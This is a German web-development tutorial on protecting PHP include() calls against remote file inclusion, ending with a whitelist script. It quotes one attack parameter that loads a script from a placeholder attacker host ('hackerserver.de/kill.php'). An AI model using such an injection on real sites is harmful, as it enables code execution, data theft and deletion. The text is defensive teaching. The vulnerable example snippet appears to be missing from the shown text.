Sichere Datei-Includes

Werbung

Von Christian Fischer

Bei dynamischen Seiten, die auf Templates beruhen, werden anzuzeigende Inhalte häufig mit einem einfachen Include-Befehl übergeben. Möglichen Angreifern steht so manche Türe offen.

Wird auf der Startseite die anzuzeigende Datei etwa so aufgerufen:

könnten Angreifer ihre eigenen Skripte bequem einladen, indem einfach eine andere Inhaltsdatei in das Template geladen wird:

;
c=http://hackerserver.de/kill.php

Diese Inhalte könnten etwa Passwörter auslesen, das Dateilisting preisgeben oder alle Dateien löschen. Keine Möglichkeit ist im Sinne des Webmasters.

Um einen include()-Aufruf also abzusichern und sicherzustellen, dass weder fremde Dateien noch Scripte als Parameter von experimentierfreudigen Besuchern angehängt werden, helfen einige Code-Zeilen:

Als Voraussetzungen ist eine einheitliche Dateistruktur wichtig. So liegen ab jetzt alle Dateien, die eingebunden werden sollen, in dem Verzeichis /include und haben die Endung .inc.php – das Script läßt sich aber auch anpassen.

Zuerst wird ein Array angelegt, in dem alle Dateien dieses Verzeichnisses ohne Endung stehen – und schon haben wir ein Array, in dem alle erlaubten GET-Parameter stehen.

Beim eigentlichen include()-Befehl steht jetzt nur noch eine if-Abfrage, die das Array überprüft und alle anderen Anfragen auf die Startseite schickt. Alternativ kann man auch eine Fehlerseite einbinden, die zum Beispiel die IP-Adresse loggt und eine Benachrichtigung losschickt.

<?php
$inc_array = array();
$inc_dir=opendir ("./includes");
while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);
if (isset($_GET[topic]) && in_array($_GET[topic],
$inc_array) ) {
include("./includes/".$_GET[topic].".inc.php");
} else {
include("./includes/start.inc.php");
}
?>

Wenn das Script einmal eingebunden ist, geht der Aufwand für neue Includes gegen Null: Die neuen Dateien werden einfach in das /include Verzeichnis gelegt und sind sofort automatisch als erlaubt gekennzeichnet.

Weitere Beiträge:

Über Gastautor

DrWeb.de ist die "Grande Dame" des deutschen Bloggings und seit nunmehr 14 Jahren im Internet aktiv. Das beliebte Magazin richtet sich dabei an Webworker, Selbstständige, IT-Entscheider, Seitenbetreiber sowie Marketing-Verantwortliche und bietet einen Überblick im undurchdringlichen Dschungel zahlreicher "Geld verdienen im Internet" Konzepte. Werden Sie jetzt Gastautor und profitieren Sie von der großen Reichweite und den Markennamen DrWeb.de.

,

Noch keine Kommentare vorhanden!

Hinterlasse eine Antwort

Bitte bei weiteren Kommentaren per Email benarichtigen! Auch möglich: Abo ohne Kommentar.

Spam protection by WP Captcha-Free